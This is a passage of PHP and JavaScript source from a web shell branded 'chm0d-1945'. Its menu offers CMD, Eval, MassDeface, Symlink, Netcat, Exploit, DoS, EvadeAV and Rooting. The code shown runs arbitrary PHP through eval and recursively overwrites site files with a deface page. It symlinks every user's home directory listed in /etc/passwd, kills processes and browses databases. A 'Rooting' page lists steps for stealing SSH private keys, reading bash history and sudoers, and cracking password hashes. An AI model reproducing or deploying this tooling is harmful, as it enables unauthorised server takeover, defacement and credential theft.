				var x = document.getElementsByClassName("selectFile");
				//var i;
				//for (i = 0; i < x.length; i++) {
				  //  x[i].style.backgroundColor = "#eee";
				//}
				x[x.length-1].style.backgroundColor = "#666666";
				var y = document.getElementById("fileContainer");
				//alert(y);
				// create Text
				var br = document.createElement("br");
				
				var textnode = document.createTextNode("Select File! ");
				// creatt fileInput
				var fileInput = document.createElement("input");
				var fileAttrib = document.createAttribute("type");
				fileAttrib.value = "file";
				var onchangeAttrib = document.createAttribute("onchange");
				onchangeAttrib.value = "fileSelected();";
				var nameAttrib = document.createAttribute("name");
				nameAttrib.value = "uploadFile[]";
				
				fileInput.setAttributeNode(fileAttrib);
				fileInput.setAttributeNode(onchangeAttrib);
				fileInput.setAttributeNode(nameAttrib);  
				 
				//create new div 
				var divSelectFile = document.createElement("div");
				var divClassAttrib = document.createAttribute("class");
				divClassAttrib.value = "selectFile";
				divSelectFile.setAttributeNode(divClassAttrib);
				
				/// append text and file input to dive
				divSelectFile.appendChild(br);
				divSelectFile.appendChild(textnode);
				divSelectFile.appendChild(fileInput);
				//y.appendChild(divSelectFile);
				// append div to file container
				y.appendChild(divSelectFile);
				
				
			}
		</script>
	
		<?php 
}
function includeBanner()
{
	global $rpath;
	echo "<div id=\"bannerDiv\">";
	echo "<div id='logo'><a href='{$rpath}?home=1'><span id='logo'>chm0d-</span>
	<span id='logo1'>1945</span></a></div>";
	banner();
	echo "</div>";
}	
function includeMenuBar()
{
	global $rpath;
	?>
	<div id="menu">
	<a class="menu" href="<?php echo $rpath?>?home=1">Home</a>  
	<a class="menu" href="<?php echo $rpath?>?cv=1">FileManager</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=2">Upload</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=3">CMD</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=4">Database</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=5">MassDeface</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=6">Symlink</a> 
	
	<a class="menu" href="<?php echo $rpath?>?cv=7">Process</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=8">Eval</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=9">Find</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=13">Config</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=14">Mailer</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=15">Domains</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=16">Headers</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=17">Netcat</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=18">Commands</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=20">SecInfo</a>  
	<a class="menu" href="<?php echo $rpath?>?cv=21">Hash</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=22">Zone-H</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=23">Exploit</a> 
	<a class="menu" href="<?php echo $rpath?>?cv=24">CodeInject</a>
	<a class="menu" href="<?php echo $rpath?>?cv=25">Bypasser</a>
	<a class="menu" href="<?php echo $rpath?>?cv=26">DoS</a>
	<a class="menu" href="<?php echo $rpath?>?cv=28">SelfRemove</a>
	<a class="menu" href="<?php echo $rpath?>?cv=29">Forums</a>

	<a class="menu" href="<?php echo $rpath?>?cv=34">EvadeAV</a>
	<a class="menu" href="<?php echo $rpath?>?cv=37">PortScanner</a>
	<a class="menu" href="<?php echo $rpath?>?cv=10">Rooting</a>
	<a class="menu" href="<?php echo $rpath?>?cv=11">Logout</a>
	<a class="menu" href="<?php echo $rpath?>?cv=chp">ChangePassword</a>
	
	</div>
	<?php 
}
	//echo $url;
function displayFileManager()
{

		$dir = dirList($_SESSION['current_dir']);
		displayDirList($dir);
	
	
}
function dirList($arg) {
	$total = 0;

	if(isset($_SESSION['current_dir']))
		chdir($_SESSION['current_dir']);
	if (file_exists($arg)) {
		if (is_dir($arg)) {
			$handle = opendir($arg);
			while($aux = readdir($handle)) {

				if(!is_dir($aux))

					$dir[]=array("fname"=>$aux ,"fsize"=> (get_size($aux)),"perms"=>show_perms(fileperms($aux)), "mdate"=>date('d-M-Y h:i:s', filemtime($aux)));
				else
					$dir[]=array("fname"=>"[ {$aux} ]","fsize"=> "Dir","perms"=>show_perms(fileperms($aux)), "mdate"=>date('d-M-Y h:i:s', filemtime($aux)));

				//}
			}
			@closedir($handle);
		}
		else
			$total = filesize($arg);
	}
	asort($dir);
	return $dir;
}
function displayDirList( $dir)
{
	global $rpath, $islinux;
	echo "<div class='bodyDiv' >
		<form  method='post' name='fmform' id='fmform1'>";
	echo "<table><tr><th> </th><th>Filename</th><th>Size</th>";
	if($islinux)
	{
		echo "<th>Owner:Group</th>";
	}
	echo "<th>Perms</th><th>Modified</th><th>Action</th></tr>";
		
	foreach ($dir as $d)
	{
		if($d['fname'][0]==='[')
		{
			
			$tname = str_replace("[ ","",$d['fname']);
			$tname = str_replace(" ]","",$tname);
			echo "\n<tr>";
			echo "<td class=\"center\"><input type=\"checkbox\" 
			name='fileItem[]' value='{$tname}'></td>";
			echo "<td><a href='{$rpath}?cd={$tname}'>{$d["fname"]}</a></td>";
			echo "<td class=\"center\">".$d["fsize"] . "</td>";
			if($islinux)
			{
				$o = posix_getpwuid(fileowner($tname));
				$g = posix_getgrgid(filegroup($tname));
				echo "<td class=\"center\">". $o['name'] . 
				":" . $g['name'].
				"</td>";
			}
			echo "<td class=\"center\">".$d["perms"] . "</td>";
			echo "<td class=\"center\">".$d["mdate"] . "</td>";
			echo "<td class=\"center\">"; 
			echo "<a href=\"javascript:;\"
			 onclick=\"displayPopupNewName('NewName','".$tname."')\">Rename</a>";
			echo "<a href=\"{$rpath}?delf={$tname}\">Delete</a><a href=\"{$rpath}?dl={$tname}&dlf=1\">Download</a></td>";
			echo "</tr>";
		}
		
	}
	foreach ($dir as $d)
	{
		if($d['fname'][0]!=='[')
		{
			
			echo "\n<tr>";
			echo "<td class=\"center\"><input type=\"checkbox\"
		name='fileItem[]' value='{$d['fname']}'></td>";
			//if(is_dir($d['fname']))
			//{
				//echo "<td><a href='#'>{$d["fname"]}</a></td>";
			//}
			//else {
				//echo "<td><a href='#'>{$d["fname"]}</a></td>";
				
		//	}
			echo "<td><a href='{$rpath}?dl={$d['fname']}'>{$d["fname"]}</a></td>";
			echo "<td class=\"center\">".$d["fsize"] . "</td>";
			if($islinux)
			{
				//echo "<td class=\"center\">";//. posix_getpwuid(fileowner($d['fname']))['name'] .
				//":" . posix_getgrgid(filegroup($d['fname']))['name'].
				// echo "</td>";
				 $o = posix_getpwuid(fileowner($d['fname']));
				 $g = posix_getgrgid(filegroup($d['fname']));
				 echo "<td class=\"center\">". $o['name'] .
				 ":" . $g['name'].
				 "</td>";
			}
			echo "<td class=\"center\">".$d["perms"] . "</td>";
			echo "<td class=\"center\">".$d["mdate"] . "</td>";
			echo "<td class=\"center\"><a href=\"{$rpath}?vf={$d['fname']}\">View</a>";
			echo "<a href=\"javascript:;\" 
			 onclick=\"displayPopupNewName('NewName','".$d['fname']."')\">Rename</a>";
			 
			echo "<a href=\"{$rpath}?delf={$d['fname']}\">Delete</a><a href=\"{$rpath}?dl={$d['fname']}\">Download</a> </td>";
			echo "</tr>";
		}
	}
	echo "</table><br>";
	echo "Actions: ";
	echo "<input type='submit' name='dff' value='NewFolder' 
		onclick='displayNewFolder();return false;'>";
	echo "<input type='submit' name='dff' value='NewFile' 
			onclick=\"displayNewFile('NewFile');return false;\">";
//		onclick=\"displayNewFile('NewFile');return false;\">";
	echo "<input type='submit' name='dff' value='Copy' > ";
	echo "<input type='submit' name='dff' value='Cut'>";
	echo "<input type='submit' name='dff' value='Paste'>";
	echo "<input type='submit' name='dff' value='Delete'>";
	echo "<input type='submit' name='dff' value='Zip'>";
	echo "<input type='submit' name='dff' value='Zip Download'>";
		
	
	echo "</form></div>";
}
function displayUpload()
{
	global $rpath;
	?>
	<div id='upload'>
	<form action="<?php echo $rpath?>?upl=1" method="POST" enctype="multipart/form-data">
	<div id="fileContainer">
		<div class="selectFile">				
		Select File!
		<input type="file" onchange="fileSelected();" name="uploadFile[]">
		
		</div>
	</div>
	<input type="submit" value="upload">
	</form></div>
	<?php 
}
function displayCMD()
{
	if(isset($_SESSION['current_dir']))
		chdir($_SESSION['current_dir']);
	echo "<div id='textAreaDiv'><textarea name=\"test\" id=\"tarea\" rows=\"15\" readonly>".getcwd()."\n</textarea></div>";
	?>
		<div id='cmdDiv'><form method="post" onsubmit="return false;">
		<label onmouseover="selectCMD();"  >cmd: <input type="text" size=40% name="cmd" autocomplete="off" id="cmd" onmouseover="this.select();"></label>
		<input type="submit" name="Execute" value="Execute"   onclick="executeCMD();">
		<input type="submit" name="Clear" value="Clear History"   onclick="clearHistory();">
		</form></div>
		<?php 
		
}	
function displayMassDeface()
{
	global $rpath;
		?>
		<form method="post" action="<?php echo $rpath?>?md=1">
		<div id='textAreaDiv'><textarea name="defacePage" id="tarea" rows="15" >Deface Page Here!</textarea></div>
		<div class='bodyDiv'>
		<label >
		Filename: <input type="text" size=30% name="defaceFilename" autocomplete="off"  onmouseover="this.select();"/>
		</label>
		<label >
		Path: <input type="text" value="<?= $_SESSION['current_dir']?>" size=30% name="defacePath" autocomplete="off"  onmouseover="this.select();"/>
		</label>
		<input type="submit" name="Execute" value="Deface"   onclick="executeCMD();">
		
		</div></form>
		<?php 
}
function saveFile()
{
	$fileCount = count($_FILES['uploadFile']['name']);
	for($i=0;$i<$fileCount-1;$i++)
	{
		$fname= $_FILES['uploadFile']['name'][$i];
		$tname= $_FILES['uploadFile']['tmp_name'][$i];
		$cdir = $_SESSION['current_dir'];
		save_upload($tname, $fname,$cdir );
	}
}
function getAvailableFilename($path,$filename)
{
	//chdir($path);
	$i=0;
	while(true)
	{
		if(file_exists($filename.".bkp." . $i))
		{
			$i++;
		}
		else 
			return $filename.".bkp." . $i;
	}
}
function massDeface($defacePath)
{
	global $defacePage, $defaceFilename;
	global $rnd;
	chdir($defacePath);
	if(file_exists($defaceFilename))
	{
		rename($defaceFilename,getAvailableFilename($defacePath, $defaceFilename));
	}
	$myfile = fopen($defaceFilename, "w") or die("Unable to open file!");
	fwrite($myfile, $defacePage);
	fclose($myfile);
	

	$handle = opendir($defacePath);
	while($aux = readdir($handle)) {
		//if ($aux != "." && $aux != "..")
		//{
		//$total += total_size($arg."/".$aux);
		if(is_dir($aux) && $aux != "." && $aux != "..")
		{
			massDeface(getcwd()."\\" . $aux);
			chdir($defacePath);
		}
			
		//}
	}
	@closedir($handle);
		
}
function displayProcess()
{
	global $islinux;
	
	//echo "<div class=\"bodyDiv\">";
	if(!$islinux)
	{
		echo "<form method='post'><table><tr><th> </th><th>Process</th><th>PID</th><th>Sess Name</th><th>Sess#</th><th>Mem Usage</th></tr>";
	
	
		exec("tasklist 2>NUL", $task_list);
		for ($i=3;$i<count($task_list);$i++){
			$task_line = $task_list[$i];
			//explode(" ",);
			list($pname,$pid,$sname,$snumber,$memusage,$unit)=preg_split("/[ ]+/",$task_line);
			echo "<tr>";
			echo "<td class=\"center\"><input type=\"checkbox\"
		name='killPid[]' value={$pid}></td>";
			echo "<td class=\"center\">{$pname}</td>";
			echo "<td class=\"center\">{$pid}</td>";
			echo "<td class=\"center\">{$sname}</td>";
			echo "<td class=\"center\">{$snumber}</td>";
			echo "<td class=\"center\">{$memusage} {$unit}</td>";
			echo "</tr>";
	//		echo $task_line . "<br/>";

		}
		echo "</table><br><input type='submit' name='killPids' value='Kill'></form>";
	}
	else 
	{
		echo "<form method='post'><table id='processes'> <tr><th> </th><th>USER</th><th>PID</th><th>%CPU</th>
		<th>%MEM</th><th>VSZ</th><th>RSS</th><th>TTY</th><th>STAT</th><th>START</th><th>TIME</th><th style='text-align:left'>COMMAND</th></tr>";
		exec("ps aux ", $task_list);
		for ($i=3;$i<count($task_list);$i++){
			$task_line = $task_list[$i];
			//explode(" ",);
			list($user,$pid,$cpu,$mem,$vsz,$rss,$tty,$stat,$start,$time,$command)=preg_split("/[ ]+/",$task_line);
			preg_match("/(^.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?[ ]+.*?)(.*)/", $task_line, $matches);
			$command1 = $matches[2];
			echo "<tr>";
			echo "<td class=\"center\"><input type=\"checkbox\"
		name='killPid[]' value={$pid}></td>";
			echo "<td class=\"center\">{$user}</td>";
			echo "<td class=\"center\">{$pid}</td>";
			echo "<td class=\"center\">{$cpu}</td>";
			echo "<td class=\"center\">{$mem}</td>";
			echo "<td class=\"center\">{$vsz}</td>";
			echo "<td class=\"center\">{$rss}</td>";
			echo "<td class=\"center\">{$tty}</td>";
			echo "<td class=\"center\">{$stat}</td>";
			echo "<td class=\"center\">{$start}</td>";
			echo "<td class=\"center\">{$time}</td>";
			echo "<td >{$command1}</td>";
			echo "</tr>";
		}
		echo "</table><br><input type='submit' name='killPids' value='Kill'></form>";
	}
	//echo "</div>";
}
function killProcesses($pids)
{
	global $islinux;
	foreach ($pids as $pid)
	{
		if(!$islinux)
		{
			exec("taskkill /F /PID $pid");
		}
		else
		{
			exec("kill -9 {$pid}");
		}
			
	}
	
}
function displayFind()
{
	chdir($_SESSION['current_dir']);
	?>
	<div class='bodydiv'>
	<form method='post'>
	<table id='find'>
	<tr>
	<td>Search in:</td><td> <input name='searchIn' value="<?php echo getcwd();?>">
	</td></tr>
	<tr>
	<td>Dirname contains:</td><td> <input name='dirnamecontain'>
	</td></tr>
	<tr>
	<td>Filename contains: </td><td><input name='filenamecontain'>
	</td></tr>
	<tr>
	<td>File Contain: </td><td><input name='filecontain'>
	</td></tr>
	<tr>
	<td>Permissions: </td><td><input type="checkbox" name='readable'> Readable 
	<input type="checkbox" name='writable'> Writable 
	<input type="checkbox" name='executable'> Executable 
	</td></tr>
	<tr>
	<td><input type='submit' name='Find' value='Find'>
	</td><td></td></tr>
	</table>
	</form>
	</div>
	<?php 
}
function processFind()
{
	global $searchIn,$dirnamecontain,$filenamecontain, 
	$readable,$writable,$executable;
	
	echo "<div class='bodyDiv'>";

	findNameContain($searchIn,$dirnamecontain,$filenamecontain);
	echo "</div>";
	
}
function findNameContain($searchIn, $dirnamecontain,$filenamecontain)
{
	global $rpath,$filecontain,$readable,$writable,$executable;
	chdir($searchIn);

		
	// Create recursive directory iterator
	/** @var SplFileInfo[] $files */
	$files = new RecursiveIteratorIterator(
			new RecursiveDirectoryIterator( $searchIn),
			RecursiveIteratorIterator::LEAVES_ONLY
	);
	
	foreach ($files as $name => $file)
	{
		// Skip directories (they would be added automatically)
		$filePath = $file->getRealPath();
		if (!$file->isDir() and $filenamecontain!==""
				and	strpos($name,$filenamecontain)!==false)
		{
			// Get real and relative path for current file
			
			echo "<a href='{$rpath}?dl={$filePath}&dlfile=1'>".$filePath . "</a><br>";
	
		}
		if (!$file->isDir() and $filecontain!=="")
		{
			// Get real and relative path for current file
			if(findFileContent($filePath,$filecontain))
			{	
				echo "<a href='{$rpath}?dl={$filePath}&dlfile=1'>".$filePath . "</a><br>";
			}
		}
		else if($file->isDir() and strpos($file,'..')===false
				and $dirnamecontain!=="" and 
				strpos($name,$dirnamecontain)!==false)
		{
			
				echo "<a href='{$rpath}?cd={$filePath}&cdf=1'>".$filePath. "</a><br>";
			
		}
		$p1 = fileperms($filePath);
		$perms = show_perms($p1);
		
		if ( ( isset($readable) and strpos($perms,'r')!=false) or 
			(isset($writable) and strpos($perms,'w') !=false) or 
			(isset($executable) and strpos($perms,'x')!=false) )
				
		{
			// Get real and relative path for current file
			if(!$file->isDir() and strpos($file,'..')===false)
			{
				echo "<a href='{$rpath}?dl={$filePath}&dlfile=1'>".$filePath . "</a><br>";
			}
			else if(strpos($file,'..')===false)
			{
				echo "<a href='{$rpath}?cd={$filePath}&cdf=1'>".$filePath. "</a><br>";
			}
		}
		
	}
	
}
function findFileContent($file,$pattern)
{
	$data = file_get_contents($file);
	//if(strpos($data))
	//var_dump($data);
	if(strpos($data,$pattern)!==false)
	{
		return true;
	}
	return false;
}
function phpEval()
{
	global $ev;
	//eval(stripslashes($ev));
	eval($ev);
}
function displayEval()
{
	global $rpath;
	?>
		<form method="post" onsubmit="return false;">
		<div id='textAreaDiv'>
		<textarea name="code" id="tarea" rows="15" >echo "Welcome!";</textarea>
		</div>
		<input type="submit" style="margin-left: 10px" name="Execute" value="Execute"   onclick="executeEval();">
		</form>
		
		<div class='bodyDiv' id='evalBody'>
		
		Welcome!
		</div>
		<?php 
}
function displayRooting()
{
	global $rpath;
	?>
		
		
		<div class='bodyDiv' >
		
		1 - Search rooting exploit to escalate privileges.<br>
		2 - Symlink webserver.<br>
		3 - Find database connection files using: find ./ -name *.php -print0 | xargs -0 grep -i -n "mysql_connect"
		4 - Find database user with admin privileges.<br>
		5 - Search for username and password in webserver logs<br>
		6 - Search Bash history for passwords, e.g. cat /home/UserName/.bash_history , cat /root/.bash_history
		 <br>
		7 - Find apache .htpasswd and Crack passwords with Hashcat.<br>
		8 - Read emails on Server. <br>
		9 - Exploit cat /etc/crontab <br>
		10 - Get files edited with vi editor by appending ~ to file name <br>
		11- Crack all passwords for web application users, one of them will have sudo su priviliges.<br>
		12- cat /etc/sudoers<br>
		13- Trash files# cat /home/UserName/.local/share/Trash/files/Payroll<br>
		14- Steal ssh private keys <br>
		 
		<br/><br/><br/><br/><br/><br/>
		</div>
		<?php 
}
function displaySymlink()
{
	
	global $rpath, $islinux;
	if($islinux)
	{
		$lines = file("/etc/passwd");
				
		chdir($_SESSION['current_dir']);
		mkdir("stshell");
		chdir("stshell");	
		$tmp=getcwd();	
		echo "<div class='bodyDiv' >";
		echo "<table>";
		foreach($lines as $line)
		{
			list($user,,,,,$home,)=explode(":",$line);
			echo "<tr><td>".$user."</td><td>
			<a href='{$rpath}?cds={$tmp}/{$user}' onclick='return !window.open(this.href);'>".$home."</a></td></tr>";
	
			exec("ln -s ".$home . " ". $user,$output);
			
		}
		
		echo "</div>";
	}	
	else 
	{
		echo "<div class='bodyDiv' >Is this linux machine???</div>";
	}
}
function displayDatabase()
{
	global $rpath,$v,$connect,$disconnect,$query,$rem;
	if(isset($connect))
	{
		list($u,$h)=explode("@",$connect);
		selectDatabase($u, $h);
		//$v='cn';
	}
	if(isset($rem))
	{
		list($u,$h)=explode("@",$rem);
		removeDatabase($u, $h);
		$v='cn';
	}
	if(isset($disconnect))
	{
		//list($u,$h)=explode("@",$connect);
		//selectDatabase($u, $h);
		unset($_SESSION['selected']);
	}
	?>
	
	<div class="bodyDiv">
	<a href='?v=cn'>Connections </a> 
	<a href='?v=db'>Databases</a>
	<a href='?v=qd'>Query</a>
	</div>
	
	<?php 
	if(isset($v) and $v=='cn')
	{
		?>
	<div id='dbContainer0' >
	
	
		  <div class="bodyDiv">
		  <form onsubmit="return false;">
			  <table id="db" >
			  
			 	 <tr><td id="db">Username:</td><td id="db"> <input type="Text" name="dbusername" id="dbusername"></td></tr>
  			 	 <tr><td id="db">Password: </td><td id="db"><input type="Text" name="dbpassword" id="dbpassword"></td></tr>
  			 	 <tr><td id="db">Database:</td><td id="db"><input type="Text" name="dbname" id="dbname"></td></tr>
  			 	 <tr><td id="db">Host: </td><td id="db"><input type="Text" name="dbhost" id="dbhost"></td></tr>
  			 	 <tr><td id="db"> </td><td id="db"><input type="submit" onclick="saveDB()" value="Save" name="submit"></td></tr>
  			 	 
  			 	 </table>
  			 	 </form>
			  </div>
			  <div class="bodyDiv" id='dbConnectionsList'>
			 	 <?= displayDatabaseCredentials();?>
		  </div>
		  <div class='bodyDiv' id='databasesListDiv' style='display: none'>
			databases<br>
					
		  </div>	
		  <div class='bodyDiv' id='tablesListDiv' style='display: none'>
			tables			
		  </div>	
		  
		
		<div class='bodyDiv1' id='tableDataDiv' style='display: none'>
		table Data
		</div>	
	</div>
	<?php 
	}
	else if($v=='db')
	{
		echo "<div class='bodyDiv'>";
		if(isset($_SESSION['selected']))
		{
			listDatabases();
		}
		else
			displayDatabaseCredentials();
	echo "</div>";
	}
	else if($v=='tb')
	{
		echo "<div class='bodyDiv'>";
		if(isset($_SESSION['selected']))
		{
			listDatabases();
		}
		echo "</div>";
		echo "<div class='bodyDiv'>";
		list($u,$h,$db)=explode("@",$connect);
		listTables($u,$h,$db);
		$_SESSION['selectddb']=$connect;
		echo "</div>";
		
	}
	else if($v=='tbld')
	{
		echo "<div class='bodyDiv'>";
		if(isset($_SESSION['selected']))
		{
			listDatabases();
		}
		echo "</div>";
		echo "<div class='bodyDiv'>";
		list($u,$h,$db)=explode("@",$connect);
		listTables($u,$h,$db);
		echo "</div>";
		echo "<div class='bodyDiv'>";
		list($u,$h,$db,$tbl)=explode("@",$connect);
		displayTableData($u,$h,$db,$tbl);
		$_SESSION['selectedtbl']=$connect;
		echo "</div>";
	
	}
	else if($v=='qd') 
	{
		$db="db";
		$tbl="tbl";
		if(isset($_SESSION['selectedtbl']))
			list($u,$h,$db,$tbl)=explode("@",$_SESSION['selectedtbl']);
		?>
		<div class='bodyDiv'>
		<form method="post">
		<textarea rows=4 name='query'>select * from <?php echo "{$db}.{$tbl}"?>;</textarea>
		<input type='submit' value=Execute>
		</form>
		</div>
		<?php 
		if(isset($query))
		{
			executeQuery($query);
		}
	}
}
function executeQuery($query)
{
	//list($u,$h,$db,$tbl)=$_SESSION['selectddb'];
	if(isset($_SESSION['selected']))
		list($u,$h)=explode("@",$_SESSION['selected']);
	foreach ($_SESSION['dbconnections'] as $con)
	{
		if($con['dbusername']===$u and $con['dbhost']===$h){
			try
			{
				$db = new PDO("mysql:host={$con['dbhost']};dbname={$con['dbname']};charset=utf8",$con['dbusername'],$con['dbpassword']);
				/*Other Codes*/
				$db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
				if(!(preg_match("/^select.*/i",$query)===1))
				{
					echo "<div class='bodyDiv'>Modified Rows: " . $db->exec($query) ."</div>";
					break;
				}
				
				$rows = $db->query($query);
				if($rows)
				{
					$count=$rows->rowCount();
				}
				else
					$count=0;
				echo "<div class='bodyDiv'><table>";
				if($count>0)
				{
					$count--;
					$row=$rows->fetch();
					echo "<tr>";
					$i=1;
					foreach ($row as $k=>$v)
					{
						if($i%2===1)
							echo "<th>".$k . "</th>";
						$i++;
					}
					echo "</tr>";
					echo "<tr>";
					$i=1;
					foreach ($row as $k=>$v)
					{
						if($i%2===1)
							echo "<td class='center'>".$v . "</td>";
						$i++;
					}
					echo "</tr>";
				}
				while($count>0)
				{
					$row=$rows->fetch();
					echo "<tr>";
					$i=1;
					foreach ($row as $k=>$v)
					{
						if($i%2===1)
							echo "<td class='center'>".$v . "</td>";
						$i++;
					}
					echo "</tr>";
					$count--;
				}
				echo "</div></table>";
			
			}
			catch(PDOException  $abc )
			{
				echo "Error: ".$abc->getMessage();
			}
		}
		break;
	}
			
}
function displayDatabaseCredentials()
{
	global $rpath;
	$output="";
	if(!isset($_SESSION['dbconnections']))
		return $output;
	echo "<table id='db'>";
	$u="";
	$h="";
	if(isset($_SESSION['selected']))
		list($u,$h)=explode("@",$_SESSION['selected']);
	foreach ($_SESSION['dbconnections'] as $con)
	{
		if($con['dbusername']===$u and $con['dbhost']===$h){
			echo "<tr><td>{$con['dbusername']} @ {$con['dbhost']}</td><td>
			<a href='?v=cn&disconnect={$con['dbusername']}@{$con['dbhost']}'>Disconnect</a>
			<a href='?rem={$con['dbusername']}@{$con['dbhost']}'>Remove</a></td></tr>";
		}	
		else 
			echo "<tr><td>{$con['dbusername']} @ {$con['dbhost']}</td><td>
		<a href='?v=cn&connect={$con['dbusername']}@{$con['dbhost']}'>Connect</a><a href=''>Remove</a></td></tr>";
		//$output.= "<a href='{$rpath}?listDB=1&{$con['dbusername']}&{$con['dbhost']}'> {$con['dbusername']} @ {$con['dbhost']} </a><br>";
		//$output.= "<a  href=\"javascript:alert('{$con['dbusername']}@{$con['dbhost']}');\" onlick='alert(1);'> {$con['dbusername']} @ {$con['dbhost']} </a><br>";
		//$output.= "<a  href='javascript:;' onclick=\"connectDatabase('{$con['dbusername']}@{$con['dbhost']}');\"> {$con['dbusername']} @ {$con['dbhost']} </a><br>";
		
		//javascript:
	}
	return $output;
}
function saveDatabaseCredentials()
{
	global $dbusername, $dbpassword, $dbname, $dbhost;
	if(!isset($_SESSION['dbconnections']))
		$_SESSION['dbconnections']= array();
	
	$dbhost=(isset($dbhost) and $dbhost!=="")?$dbhost:"localhost";
	$_SESSION['dbconnections'][]=array('dbusername'=>$dbusername,'dbpassword'=>$dbpassword,
			'dbname'=>$dbname,'dbhost'=>$dbhost);

	
	echo displayDatabaseCredentials();
}
function connectSelectedDb()
{
	global $con;
	global $mysqlHandle;
	list($u,$h)=explode("@",$_SESSION['selected']);
	foreach ($_SESSION['dbconnections'] as $con1)
	{
		if($con1['dbusername']===$u and $con1['dbhost']===$h)
		{
			$con=$con1;
			$mysqlHandle = @mysql_connect( $h.":3306", $u, $con['dbpassword'] );
			break;
		}		
	}
}
function selectDatabase($u,$h){
	$_SESSION['selected']=$u."@".$h;
}
function removeDatabase($u,$h){
	for($i=0;count($_SESSION['dbconnections']);$i++)
	{
		if($_SESSION['dbconnections'][$i]['dbusername']===$u and 
				$_SESSION['dbconnections'][$i]['dbhost']===$h)
		{
			unset($_SESSION['dbconnections'][$i]);
			unset($_SESSION['selected']);
			$_SESSION['dbconnections']=array_values($_SESSION['dbconnections']);
			break;
		}
	}
	
}
function listDatabases()
{ 

	global $mysqlHandle, $PHP_SELF, $con;
	
	connectSelectedDb();

	$pDB = mysql_list_dbs( $mysqlHandle );
	$num = mysql_num_rows( $pDB );
	//$output = "[ {$u} @ {$h} ]<br>";
	$output="";
	for( $i = 0; $i < $num; $i++ ) {
		$dbname = mysql_dbname( $pDB, $i );

		//$output.= $dbname . "<br/>";
		$output.= "<a  href='?v=tb&connect={$con['dbusername']}@{$con['dbhost']}@${dbname}'> {$dbname}</a><br>";
		
	
	}
	echo $output;
//	return $output;	
	//return "this is list of databases ".$u."@" . $h;
}
function listTables($u,$h,$dbname) {
	global $mysqlHandle, $PHP_SELF,$con;
	connectSelectedDb();

	$pTable = mysql_list_tables( $dbname );

	if( $pTable == 0 ) {
		$msg  = mysql_error();
		echo "<h3>Error : $msg</h3><p>\n";
		return;
	}
	$num = mysql_num_rows( $pTable );

	$output="[ {$dbname} ]<br>";
	for( $i = 0; $i < $num; $i++ ) {
		$tablename = mysql_tablename( $pTable, $i );

		//echo $tablename."<br>";
		$output.= "<a  href='?v=tbld&connect={$con['dbusername']}@{$con['dbhost']}@${dbname}@{$tablename}'> {$tablename}</a><br>";
		

	}
	echo $output;

}
function displayTableData($u,$h,$dbname,$tablename)
{
	//global $mysqlHandle, $PHP_SELF,$con;
	
	//echo "this is table data; {$u} {$h} {$dbname} {$tablename}";
	global $action, $mysqlHandle, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby;
	connectSelectedDb();

	if( $tablename != "" )
		echo "<p >[ $dbname &gt; $tablename ]</p>\n";
	else
		echo "<p class=location>$dbname</p>\n";
	$queryStr="";
	$queryStr = stripslashes( $queryStr );
	if( $queryStr == "" ) {
		$queryStr = "SELECT * FROM $tablename";
		//if( $orderby != "" )
		//	$queryStr .= " ORDER BY $orderby";
		//echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n";
		//echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n";
	}
	
	$pResult = mysql_db_query( $dbname, $queryStr );
	$fieldt = mysql_fetch_field($pResult);
	$tablename = $fieldt->table;
	$errMsg = mysql_error();
	
	//$GLOBALS[queryStr] = $queryStr;
	
	if( $pResult == false ) {
		echoQueryResult();
		return;
	}
	if( $pResult == 1 ) {
		$errMsg = "Success";
		echoQueryResult();
		return;
	}
	
	echo "<hr>\n";
	
	$row = mysql_num_rows( $pResult );
	$col = mysql_num_fields( $pResult );
	
	if( $row == 0 ) {
		echo "No Data Exist!";
		return;
	}
	
	if( $rowperpage == "" ) $rowperpage = 30;
	if( $page == "" ) $page = 0;
	else $page--;
	mysql_data_seek( $pResult, $page * $rowperpage );
	
	echo "<div><table syle='display:inline;' id='table01' cellspacing=1 cellpadding=2>\n";
	echo "<tr>\n";
	for( $i = 0; $i < $col; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		echo "<th>";
		if($action == "dmlld0RhdGE=")
			echo "<a href='$PHP_SELF?action=dmlld0RhdGE=&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n";
		else
			echo $field->name."\n";
		echo "</th>\n";
	}
	echo "<th colspan=2>Action</th>\n";
	echo "</tr>\n";
	
	for( $i = 0; $i < $rowperpage; $i++ ) {
		$rowArray = mysql_fetch_row( $pResult );
		if( $rowArray == false ) break;
		echo "<tr>\n";
		$key = "";
		for( $j = 0; $j < $col; $j++ ) {
			$data = $rowArray[$j];
	
			$field = mysql_fetch_field( $pResult, $j );
			if( $field->primary_key == 1 )
				$key .= "&" . $field->name . "=" . $data;
	
			if( strlen( $data ) > 30 )
				$data = substr( $data, 0, 30 ) . "...";
			$data = htmlspecialchars( $data );
			echo "<td>\n";
			echo "$data\n";
			echo "</td>\n";
		}
	
		if( $key == "" )
			echo "<td colspan=2>no Key</td>\n";
		else {
			echo "<td><a href='$PHP_SELF?action=editData$key&dbname=$dbname&tablename=$tablename'>Edit</a></td>\n";
			echo "<td><a href='$PHP_SELF?action=deleteData$key&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n";
		}
		echo "</tr>\n";
	}
	echo "</table></div>\n";	
}
function displayLoginForm()
{
